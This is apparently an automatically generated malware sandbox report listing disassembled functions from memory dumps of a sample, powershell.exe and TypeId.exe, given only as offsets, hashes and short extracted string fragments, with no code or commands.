Instruction ID: d452b4e7cf8c8b20408e8512d45491477de6dec5daeec27272a80cb4659026c4
Opcode Fuzzy Hash: aa2bd86b6e579025f0d950f13e92e42e70cd51420eeb9316657d229c66b1613d
Instruction Fuzzy Hash: 2E5124F4D02208CFEBA0DFA8D559BEEBBF5FB4A314F205069D409A7281C7789945CB41

Function 07B8B718 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b350a99c6f1f592699bc1d5525b981bebf4dc3a02db64ae300922a4f03d4df43
Instruction ID: 4a2f60199bd8a767072d51137bdc7746feb297149274c60c227417d2a6fad222
Opcode Fuzzy Hash: b350a99c6f1f592699bc1d5525b981bebf4dc3a02db64ae300922a4f03d4df43
Instruction Fuzzy Hash: A65113F4D06218CFEB90DFA8D559BEEBBF5FB4A314F2090A9D409A7241C7789949CB40

Function 09E50040 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823945069.0000000009E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71dc223f6cca2fe169c8d01a6a1e803e2b0ca0d1ec4930bc46b35a132e85ad22
Instruction ID: ef9295ea1cea963d82227f44aa0aa0dc80f100f8a216cbddc266de1c8d7c4ff9
Opcode Fuzzy Hash: 71dc223f6cca2fe169c8d01a6a1e803e2b0ca0d1ec4930bc46b35a132e85ad22
Instruction Fuzzy Hash: CE31F971D05629CBDB28CF6AC9047DABAF7AF89300F00D4EAE81DA6215DB740A858F41

Function 07B8CE10 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 977c7ae67e8fb7c8a4a2e09d20f9db9d5ba0b2a2733c2b1aea1434e4b5536d82
Instruction ID: 9b3a6b2c72bb1df0e81b98c5254f0454a2b66e73c7b1467571e0d2abce75611c
Opcode Fuzzy Hash: 977c7ae67e8fb7c8a4a2e09d20f9db9d5ba0b2a2733c2b1aea1434e4b5536d82
Instruction Fuzzy Hash: 9C3117F0E11109CFDBA4DFA8D494AADBBF5FF49311F2090AAD40AA3251D7346981DF10

Function 09E50039 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823945069.0000000009E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 869be48c18e32bc482aa64ce3bfec347ceaae980d47b701523d64ac012abcc0a
Instruction ID: e6ced7844b0cd96bc315d24623f01fe3c88e27b491418f7ce3089972317123b7
Opcode Fuzzy Hash: 869be48c18e32bc482aa64ce3bfec347ceaae980d47b701523d64ac012abcc0a
Instruction Fuzzy Hash: 7B21DC71D046198BEB2CCF2B8D4479AFAF7AFC8300F04D5BA981DA6215DB740A868F51

Function 09E6F9A8 Relevance: 7.9, Strings: 6, Instructions: 406COMMON

Download Yara Rule

Strings

(jq, xrefs: 09E6FB72
pjq, xrefs: 09E6FAFF
4'fq, xrefs: 09E6FA2C
4'fq, xrefs: 09E6FA5C
4'fq, xrefs: 09E6FAF2
4'fq, xrefs: 09E6FA7A

Memory Dump Source

Source File: 00000000.00000002.1823945069.0000000009E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e50000_file.jbxd

Similarity

API ID:
String ID: (jq$4'fq$4'fq$4'fq$4'fq$pjq
API String ID: 0-799542208
Opcode ID: 34c6374692b82b88725f7707a785d72632c9a58e5655b47d4aa8e1866209c5d8
Instruction ID: 09a4c9da96a774aa8e472a152d919d9851cc71ff0871da8cc169a0e2ac7a2532
Opcode Fuzzy Hash: 34c6374692b82b88725f7707a785d72632c9a58e5655b47d4aa8e1866209c5d8
Instruction Fuzzy Hash: 00D16E76A00115DFCB15CFA4D850EAABBB6FF88310F054498E609AB272DB31ED55DF90

Function 07122018 Relevance: 7.6, Strings: 6, Instructions: 141COMMON

Download Yara Rule

Strings

(_fq, xrefs: 0712202C
(_fq, xrefs: 0712204C
4cfq, xrefs: 07122082
4cfq, xrefs: 0712209C
(_fq, xrefs: 07122042
4cfq, xrefs: 071220A6

Memory Dump Source

Source File: 00000000.00000002.1787576932.0000000007120000.00000040.00000800.00020000.00000000.sdmp, Offset: 07120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7120000_file.jbxd

Similarity

API ID:
String ID: (_fq$(_fq$(_fq$4cfq$4cfq$4cfq
API String ID: 0-735207226
Opcode ID: d70d88cb0636835ad6c828b6214fdbd5f1e786a2cec7123705aca91180bb37f7
Instruction ID: f23832e30d823e75e752d8cdf62ca9eac23d88a0a03769586e69cc13e540670f
Opcode Fuzzy Hash: d70d88cb0636835ad6c828b6214fdbd5f1e786a2cec7123705aca91180bb37f7
Instruction Fuzzy Hash: 7B518CB5F012199FCF15CF68D8809AEBBB1FF89710F258129E905AB394D731AC12CB90

Function 07122008 Relevance: 7.6, Strings: 6, Instructions: 131COMMON

Download Yara Rule

Strings

(_fq, xrefs: 0712202C
(_fq, xrefs: 0712204C
4cfq, xrefs: 07122082
4cfq, xrefs: 0712209C
(_fq, xrefs: 07122042
4cfq, xrefs: 071220A6

Memory Dump Source

Source File: 00000000.00000002.1787576932.0000000007120000.00000040.00000800.00020000.00000000.sdmp, Offset: 07120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7120000_file.jbxd

Similarity

API ID:
String ID: (_fq$(_fq$(_fq$4cfq$4cfq$4cfq
API String ID: 0-735207226
Opcode ID: 63fb8ba1d3b487b2e24115041397bb007f46cbb0b64416626922a33ead1f0a74
Instruction ID: 3b504e791d1ca9db1d0a9db1bbc06a5a873d0de4a9dcabcedfc2f79c2141394a
Opcode Fuzzy Hash: 63fb8ba1d3b487b2e24115041397bb007f46cbb0b64416626922a33ead1f0a74
Instruction Fuzzy Hash: 6A41C2B4F012559FCB15CF68C8809AEBBB1BF89750B258129E905EB3D4E7319C12CB90

Function 0711DFA8 Relevance: 6.6, Strings: 5, Instructions: 357COMMON

Download Yara Rule

Strings

(jq, xrefs: 0711E1F6
(jq, xrefs: 0711E1CA
(jq, xrefs: 0711E0BC
(jq, xrefs: 0711E113
(jq, xrefs: 0711E2F1

Memory Dump Source

Source File: 00000000.00000002.1787448885.0000000007100000.00000040.00000800.00020000.00000000.sdmp, Offset: 07100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID: (jq$(jq$(jq$(jq$(jq
API String ID: 0-2984211891
Opcode ID: 48361bf950f8fbde6cf180f952c8fb7d60e7b5b5e13078782bedc45826c99def
Instruction ID: f3580ab63984c32cff8ba2c7ff51c55871bb38e3095f4376ce998bf84e567dd0
Opcode Fuzzy Hash: 48361bf950f8fbde6cf180f952c8fb7d60e7b5b5e13078782bedc45826c99def
Instruction Fuzzy Hash: E4C113723002568FCB599F69D850AAE3BA2FF88721B1444BAE905CF391CF35DC06C791

Function 07B80F00 Relevance: 6.5, Strings: 5, Instructions: 297COMMON

Download Yara Rule

Strings

d_?, xrefs: 07B811FC
d_?, xrefs: 07B8121B
lr?, xrefs: 07B8127C
d_?, xrefs: 07B811DA
,jq, xrefs: 07B8129B

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: ,jq$d_?$d_?$d_?$lr?
API String ID: 0-1981264687
Opcode ID: e4ab57e13831074510b0b1cd8f5b57ead9ad9af5f1169805f57ef146113f7334
Instruction ID: 6b3df19fc1777f30f3a1b6dfba8fdc2e887c0df6ba24697b93f1f263bcb890a5
Opcode Fuzzy Hash: e4ab57e13831074510b0b1cd8f5b57ead9ad9af5f1169805f57ef146113f7334
Instruction Fuzzy Hash: 22C140B4A002199FDB54DBA8C995BDDBBF6FF88300F1580D9E509AB361DA309D81CF61

Function 07B89D30 Relevance: 6.5, Strings: 5, Instructions: 222COMMON

Download Yara Rule

Strings

Hjq, xrefs: 07B89E17
o?, xrefs: 07B89F1F
(jq, xrefs: 07B89DEB
o?, xrefs: 07B89EF9
o?, xrefs: 07B89E4C

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: (jq$Hjq$o?$o?$o?
API String ID: 0-2244726455
Opcode ID: bdf31529953f55e4a79305075524939078cfe191006a4a9d5d070b6e1275e96f
Instruction ID: 410a72e75cc46f3e1133c641278bbd01e80caa33cf9b24bc0096cc0ccf771cfe
Opcode Fuzzy Hash: bdf31529953f55e4a79305075524939078cfe191006a4a9d5d070b6e1275e96f
Instruction Fuzzy Hash: 8F7190B4B002069FCB98EF69C0505AEBBF6FFD5310B2085AAD516DB350DB34A902CB91

Function 07B82900 Relevance: 5.5, Strings: 4, Instructions: 494COMMON

Download Yara Rule

Strings

L2?, xrefs: 07B82A9F
(jq, xrefs: 07B82E32
XRkq, xrefs: 07B82A83
, xrefs: 07B82D6E

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: $(jq$L2?$XRkq
API String ID: 0-205220440
Opcode ID: 8518facae21b6fc7498bce27a45b74bd07c6d5809f38a603b925d694568527aa
Instruction ID: e9c318a2fe82dbaebd3dbcedaa7c08d28887cc2249e0c7dafa192f11d0660567
Opcode Fuzzy Hash: 8518facae21b6fc7498bce27a45b74bd07c6d5809f38a603b925d694568527aa
Instruction Fuzzy Hash: A90223B57105158FDBA8EF28C898A6A77E2FF89710B2544A9E106CF3B1DB31DC41CB51

Function 07B86390 Relevance: 5.2, Strings: 4, Instructions: 161COMMON

Download Yara Rule

Strings

(_fq, xrefs: 07B86A74
(_fq, xrefs: 07B86A3D
(_fq, xrefs: 07B86AAA
(_fq, xrefs: 07B86A33

Memory Dump Source

Source File: 00000000.00000002.1790328309.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b80000_file.jbxd

Similarity

API ID:
String ID: (_fq$(_fq$(_fq$(_fq
API String ID: 0-3776797759
Opcode ID: 71b59227be61a155d2b30ecce451eac3addc418ef083b9be11ff4c55aa164267
Instruction ID: fccd5ea850db46eb29f8f99a9904bee609dcde58d5310f130fbb522216253d27
Opcode Fuzzy Hash: 71b59227be61a155d2b30ecce451eac3addc418ef083b9be11ff4c55aa164267
Instruction Fuzzy Hash: 2B5181B5B00205CFCB44EF68D4959AEBBB6FF89314B1085A9E4069F361EB31EC41CB91

Analysis Process: powershell.exePID: 7748, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BB86605 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2374318270.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17f3fba7aad7ab3f3498b9dba91dbcac0d170c1031ba4f34dce2b9e8713bdab
Instruction ID: 4976bf759301ce6724d86d1ca9e67b95e0889fc51ba3f1bb3fac455c766961fc
Opcode Fuzzy Hash: c17f3fba7aad7ab3f3498b9dba91dbcac0d170c1031ba4f34dce2b9e8713bdab
Instruction Fuzzy Hash: 40D12772A0EA8E4FEB65ABA858655B57B91FF16318F0901FFD44EC70E3D928A901C341

Function 00007FFD9BABA149 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2371040738.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6d43d5c7b02b02eaf44b6cc007bc866e78b2b25922eb76da5c304f4b970f2a
Instruction ID: 9be081106d5149642260c03a1cb831372c02f1444a38df1ae2819a4ad5ebe13a
Opcode Fuzzy Hash: cb6d43d5c7b02b02eaf44b6cc007bc866e78b2b25922eb76da5c304f4b970f2a
Instruction Fuzzy Hash: 18F0A031908A8C8FCB55DF2888295A47FE0FF25200B0501ABE449C7071DB619908CBC2

Function 00007FFD9B99E540 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2365575139.00007FFD9B99D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B99D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b99d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555bfe551737a6bb84c119fb99068aeb65430e08581a0f2c03d09dfd4858bb3f
Instruction ID: 64006f54d919c47f4dd30355b2ab29f6e3ebaeb64e14b7332ec294f14ecd8f7d
Opcode Fuzzy Hash: 555bfe551737a6bb84c119fb99068aeb65430e08581a0f2c03d09dfd4858bb3f
Instruction Fuzzy Hash: 86412B3081EFC45FE7969B3898519523FF0EF56320B1A05EFD088CB1A7D625A84AC793

Function 00007FFD9BAB97A9 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2371040738.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd926f86505982b9148f01ed1f30705d6be95d057f6b13b67f8a71d6ee8b981
Instruction ID: 35e0ca5f949af8a8b62122103875bf400a97ed394f4f9ec5ec07496b721718cf
Opcode Fuzzy Hash: 9bd926f86505982b9148f01ed1f30705d6be95d057f6b13b67f8a71d6ee8b981
Instruction Fuzzy Hash: 1F31953191CB4C9FDB1CDF5C984A6A97BE0FB99721F00422FE459D3251CA71A855CBC2

Function 00007FFD9BABA64C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2371040738.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6384c3b3fcd9acdd80f25ee4ec426fd7323f21580e033940cfdaed581c459a
Instruction ID: 13679f21e9a4d656ac594a04713603cb5d0b6379d5fcc6f6140204ef3ca38232
Opcode Fuzzy Hash: 4b6384c3b3fcd9acdd80f25ee4ec426fd7323f21580e033940cfdaed581c459a
Instruction Fuzzy Hash: C521063090CB4C4FEB59DBAC984A7E97FE0EB56321F04426FD048C3152DA74984ACB91

Function 00007FFD9BAB33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2371040738.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 17cf545b06c68c12749fae18c059a1fd3c0929f1bc305d672c46b898a287b68f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 8301A73120CB0C4FD748EF0CE051AA6B3E0FF85320F10056EE58AC36A1DA32E882CB45

Function 00007FFD9BB8414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2374318270.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a3b3eacdc12be3296e42826da989b2ae9999654d569a005520f56acb3de775
Instruction ID: bf6b5b7a8627539085f9170ad1b785f6378c0eea436a92e23db774bb349ba82b
Opcode Fuzzy Hash: 53a3b3eacdc12be3296e42826da989b2ae9999654d569a005520f56acb3de775
Instruction Fuzzy Hash: 95F09032B0D9094FD769EA4CE45289477E0FF55324B1200BAE15DC71B3CA35EC418740

Function 00007FFD9BB84400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2374318270.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da7805f81c2f4cad7e52394691d3cdd9c25c011376893865b7ddcdf4f667c89
Instruction ID: 34837d3fd110da603cd517cdd09bf8f50a6b39e2abd9f5a272dac137f8047fb1
Opcode Fuzzy Hash: 3da7805f81c2f4cad7e52394691d3cdd9c25c011376893865b7ddcdf4f667c89
Instruction Fuzzy Hash: 2BF0BE32B0E9498FD7A8EA4CE0618A873E0FF05328B0600BAE15DC70A3CA25AC40C750

Function 00007FFD9BB841D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2374318270.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: 2dff48247507cb871ad432cab4ca7b8e5aeb9198aba82777103ccfbb354ce81a
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 6CE01A31B0C8088FDAB9EA4CE0519A977E1FB98325B1201BBD14EC75B1CA32ED518B80

Non-executed Functions

Function 00007FFD9BAB8BD0 Relevance: 6.4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

Strings

M_^), xrefs: 00007FFD9BAB8C2A
M_^8, xrefs: 00007FFD9BAB8C6A
M_^(, xrefs: 00007FFD9BAB8C22
M_^7, xrefs: 00007FFD9BAB8C62
M_^<, xrefs: 00007FFD9BAB8C8A

Memory Dump Source

Source File: 00000001.00000002.2371040738.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID: M_^($M_^)$M_^7$M_^8$M_^<
API String ID: 0-462651446
Opcode ID: 56b15f09c4575ccd04bec19a4d28ada1a2ed8b4d93c9888784484bcfeaca7b69
Instruction ID: 08590fda54b1b28f2362025021dbef96c8895120d98c80a6310b4e0903621e1e
Opcode Fuzzy Hash: 56b15f09c4575ccd04bec19a4d28ada1a2ed8b4d93c9888784484bcfeaca7b69
Instruction Fuzzy Hash: BB31A263B1842A899315BA7CBC219E83790DF6923F74547F7E4A9CF4D3AC1860868684

Analysis Process: TypeId.exePID: 7764, Parent PID: 1044COMMON

Executed Functions

Function 07A7D280 Relevance: 5.7, Strings: 4, Instructions: 682COMMON

Download Yara Rule

Strings

TJkq, xrefs: 07A7D310
pjq, xrefs: 07A7D8AC
Tefq, xrefs: 07A7D5B3
xbiq, xrefs: 07A7D2E1

Memory Dump Source

Source File: 00000003.00000002.1982215807.0000000007A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a70000_TypeId.jbxd

Similarity

API ID:
String ID: TJkq$Tefq$pjq$xbiq
API String ID: 0-513662044
Opcode ID: 7a33298506980ff74cd7e870cb676db0cf76bb38538801614a0604106073a152
Instruction ID: cddf9dc2af1cab1c8eb91e2f3ca4a27caea2ff78741a120a5398dfffb94fa2b8
Opcode Fuzzy Hash: 7a33298506980ff74cd7e870cb676db0cf76bb38538801614a0604106073a152
Instruction Fuzzy Hash: 605235B5B10514DFDB15DFA8C984E99BBB2FF88304F1581A8E519AB262CB31EC91CF41

Function 07BE9F10 Relevance: 2.8, Strings: 2, Instructions: 340COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BEA1ED
:Dd, xrefs: 07BEA1CD

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 38d2e8cb7aa6828eee3a7783b0cce3f577730c4d0b88bcdfa80e56aeb962b84e
Instruction ID: 1609cd3173f4bd5a91d2376ad62fb943e26035070303b0798dbecacfa4f6d545
Opcode Fuzzy Hash: 38d2e8cb7aa6828eee3a7783b0cce3f577730c4d0b88bcdfa80e56aeb962b84e
Instruction Fuzzy Hash: 54D14BB1E002099FDB14CFA8C484AAEFBF9FF48314F14C55AE915AB351DB34A946CB91

Function 07BE5378 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE5397
:Dd, xrefs: 07BE53B7

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 5b4dac351c276efb407a214e12eab36d9716d7cc15f00e3ec30a1736d39cf6be
Instruction ID: 639850627586fb3490704830392f5f0e5a10fc54b37b5307c6f00cfa628350fe
Opcode Fuzzy Hash: 5b4dac351c276efb407a214e12eab36d9716d7cc15f00e3ec30a1736d39cf6be
Instruction Fuzzy Hash: 73B12CF0E0021A8FEB20CFA8CD8579DBBF6AF88319F248569D415E7354EB749855CB41

Function 07BE4760 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE479F
:Dd, xrefs: 07BE477F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 5bdba03a2bb92885319f1c2277c94b8d94909fcfa06044c2ec9b7eaa08f07e1e
Instruction ID: 281f6c05b9a600e689ffa7a8a72d97efdf90b58ff4eafc36e0fa096bd6fafb5e
Opcode Fuzzy Hash: 5bdba03a2bb92885319f1c2277c94b8d94909fcfa06044c2ec9b7eaa08f07e1e
Instruction Fuzzy Hash: 00916DF0E0028ADFEB14CFA9C98579DBBF6EF88314F148169E415A7354DB749845CB81

Function 075FA458 Relevance: 1.9, Strings: 1, Instructions: 640COMMON

Download Yara Rule

Strings

(jq, xrefs: 075FA748

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID: (jq
API String ID: 0-3225323518
Opcode ID: e46adcaa3bc9a89376c0435cc43482cfa0f90d9d3c4d8ca90be1b8815074c003
Instruction ID: ad4a45202eba14ffcdd5cd0763c4220ad78ff9d333b4052d139400cd06c9fdae
Opcode Fuzzy Hash: e46adcaa3bc9a89376c0435cc43482cfa0f90d9d3c4d8ca90be1b8815074c003
Instruction Fuzzy Hash: EE32AFB0A002168FCB55DFA9C4946AEFBF2FF89300F14856AD55AD7391CB34AD41CB92

Function 07BE0040 Relevance: 1.6, Instructions: 1585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1393dcd657de0d679c7cce78a596dd32df9ffa57dc694d62121d8e338cd0ebed
Instruction ID: 5172182070cf42a635587367a76a0b61ebf4e92b457ac90816c3dc4c2ff590c8
Opcode Fuzzy Hash: 1393dcd657de0d679c7cce78a596dd32df9ffa57dc694d62121d8e338cd0ebed
Instruction Fuzzy Hash: A9F2CAF4E002199FDB14DFA8C990ADEBBB6EF88300F1095E5D509AB254DB709E81DF91

Function 08DDD8A0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Dmq, xrefs: 08DDD9A5

Memory Dump Source

Source File: 00000003.00000002.2026135514.0000000008DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8dc0000_TypeId.jbxd

Similarity

API ID:
String ID: Dmq
API String ID: 0-4031372824
Opcode ID: 64cb74fe947e1d323961c1a27913952db782e9fa07ee5e2ed02fe5959782773a
Instruction ID: bad26b5d63b4d08790575f125f251d1c9e0f0f85cced4fa55a0d58c1facdb236
Opcode Fuzzy Hash: 64cb74fe947e1d323961c1a27913952db782e9fa07ee5e2ed02fe5959782773a
Instruction Fuzzy Hash: C7D1A074E01219CFDB64DFA9D990A9DBBB2FF89300F1081A9D409AB365DB35AD81CF50

Function 07BE0006 Relevance: 1.5, Instructions: 1486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d692e469ea50958aad47e87a8b9e2f3cc5cd3b8e62a45e0815d6987505addb38
Instruction ID: 63176e1d19e0f6a965d2645d1889b0200fbca170bda08972a3d3d1991c0d8cce
Opcode Fuzzy Hash: d692e469ea50958aad47e87a8b9e2f3cc5cd3b8e62a45e0815d6987505addb38
Instruction Fuzzy Hash: 28E2DAF4A00259DFDB14EFA8C990ADEBBB6EF88300F1085E5D505AB254DB709E81DF91

Function 07A7A590 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1982215807.0000000007A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a70000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a47e8992860adda568c20a40a0b35b107756c918e3237b1c83a7b6f33d35fb1
Instruction ID: 8a0722bdcb89bb86ff2c6e35fae8e5a6e8574102033ece3426e0da83ccdfb017
Opcode Fuzzy Hash: 8a47e8992860adda568c20a40a0b35b107756c918e3237b1c83a7b6f33d35fb1
Instruction Fuzzy Hash: 09D11C78A002098FDB05DFB8D8A0A6E7BB3FF88310F149529E54697395DF389C85DB81

Function 06D62B4F Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1953805495.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d60000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca27ab4be5380861774c863f35fea4cfa490b04c18ff66895c96904f8159042
Instruction ID: 22c1f8d856f618e7b371e19bb9deebb09e311f95fd2f1593dd72f36e8a0f414f
Opcode Fuzzy Hash: aca27ab4be5380861774c863f35fea4cfa490b04c18ff66895c96904f8159042
Instruction Fuzzy Hash: EFD15D74E05208DFDB94CFA6D984B9DBBF1FF49300F2080AAE409A7295DB359A85CF11

Function 06D64278 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

